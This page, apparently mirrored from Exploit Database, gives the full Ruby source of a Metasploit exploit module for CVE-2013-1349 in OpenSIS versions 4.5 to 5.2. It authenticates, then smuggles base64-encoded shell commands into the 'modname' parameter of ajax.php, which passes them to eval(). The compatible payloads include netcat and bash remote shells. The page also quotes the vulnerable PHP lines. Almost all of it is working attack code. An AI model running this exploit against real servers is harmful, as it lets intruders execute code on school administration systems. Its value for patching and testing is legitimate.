OpenSIS ‘modname’ – PHP Code Execution (Metasploit)

• Exploit Database
• 15 阅读

• 作者： Metasploit
  日期： 2013-12-24
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/30471/

• ##
  # This module requires Metasploit: http//metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info={})
  super(update_info(info,
  'Name'=> "OpenSIS 'modname' PHP Code Execution",
  'Description' => %q{
  This module exploits a PHP code execution vulnerability in OpenSIS
  versions 4.5 to 5.2 which allows any authenticated user to execute
  arbitrary PHP code under the context of the web-server user.
  The 'ajax.php' file calls 'eval()' with user controlled data from
  the 'modname' parameter.
  },
  'License' => MSF_LICENSE,
  'Author'=>
  [
  'EgiX', # Discovery
  'Brendan Coles <bcoles[at]gmail.com>' # msf exploit
  ],
  'References'=>
  [
  ['CVE', '2013-1349'],
  ['OSVDB', '100676'],
  ['URL', 'http://karmainsecurity.com/KIS-2013-10'],
  ['URL', 'http://sourceforge.net/p/opensis-ce/bugs/59/']
  ],
  'Payload' =>
  {
  'BadChars'=> "\x00\x0a\x0d",
  'Compat'=>
  {
  'PayloadType' => 'cmd',
  'RequiredCmd' => 'generic telnet bash netcat netcat-e perl ruby python',
  }
  },
  'DefaultOptions'=>
  {
  'ExitFunction'=> 'none'
  },
  'Platform'=> 'unix',
  'Arch'=> ARCH_CMD,
  'Targets' =>
  [
  # Tested on OpenSIS versions 4.9 and 5.2 (Ubuntu Linux)
  ['OpenSIS version 4.5 to 5.2', { 'auto' => true }]
  ],
  'Privileged'=> false,
  'DisclosureDate'=> 'Dec 04 2012',
  'DefaultTarget' => 0))
  
  register_options(
  [
  OptString.new('TARGETURI', [true, 'The URI for OpenSIS', '/opensis/']),
  OptString.new('USERNAME',[true, 'The username for OpenSIS']),
  OptString.new('PASSWORD',[true, 'The password for OpenSIS'])
  ], self.class)
  end
  
  #
  # Login
  #
  def login(user, pass)
  @cookie = "PHPSESSID=#{rand_text_alphanumeric(rand(10)+10)};"
  print_status("#{peer} - Authenticating as user '#{user}'")
  res = send_request_cgi({
  'method' => 'POST',
  'uri'=> normalize_uri(target_uri.path, "index.php"),
  'cookie' => @cookie,
  'vars_post'=> Hash[{
  'USERNAME' => user,
  'PASSWORD' => pass,
  }.to_a.shuffle]
  })
  if res and res.code == 200 and res.body =~ /Portal\.php/
  print_good("#{peer} - Authenticated as user '#{user}'")
  return true
  else
  print_error("#{peer} - Authenticating as user '#{user}' failed")
  return false
  end
  end
  
  #
  # Send command for execution
  #
  def execute_command(cmd, opts = { :php_function => 'system' } )
  code = Rex::Text.uri_encode(Rex::Text.encode_base64(cmd+"&"))
  junk = rand_text_alphanumeric(rand(10)+6)
  print_status("#{peer} - Sending payload (#{code.length} bytes)")
  res = send_request_cgi({
  'method'=> 'POST',
  'uri' => normalize_uri(target_uri.path, 'ajax.php'),
  'cookie'=> @cookie,
  'vars_post' => {
  'modname' => "#{junk}?#{junk}=#{junk}';#{opts[:php_function]}(base64_decode('#{code}'));//"
  }
  })
  return res
  end
  
  #
  # Check credentials are valid and confirm command execution
  #
  def check
  return Exploit::CheckCode::Unknown unless login(datastore['USERNAME'], datastore['PASSWORD'])
  fingerprint = Rex::Text.rand_text_alphanumeric(rand(10)+10)
  print_status("#{peer} - Sending check")
  res = execute_command("echo #{fingerprint}")
  if res and res.body =~ /align=center>#{fingerprint}/
  return Exploit::CheckCode::Vulnerable
  elsif res
  return Exploit::CheckCode::Safe
  end
  return Exploit::CheckCode::Unknown
  end
  
  def exploit
  return unless login(datastore['USERNAME'], datastore['PASSWORD'])
  php_function = [
  'exec',
  'shell_exec',
  'passthru',
  'system'
  ].sample
  res = execute_command(payload.encoded, { :php_function => php_function })
  if res and res.code == 200 and res.body =~ /hacking_log/i
  print_good("#{peer} - Payload sent successfully")
  else
  fail_with(Failure::UnexpectedReply, "#{peer} - Sending payload failed")
  end
  end
  end
  
  #
  # Source
  #
  =begin ajax.php
  90:if(strpos($_REQUEST['modname'],'?')!==false)
  91:{
  92:$vars = substr($_REQUEST['modname'],(strpos($_REQUEST['modname'],'?')+1));
  93:$modname = substr($_REQUEST['modname'],0,strpos($_REQUEST['modname'],'?'));
  94:
  95:$vars = explode('?',$vars);
  96:foreach($vars as $code)
  97:{
  98:$code = decode_unicode_url("\$_REQUEST['".str_replace('=',"']='",$code)."';");
  99:eval($code);
  100:}
  101:}
  =end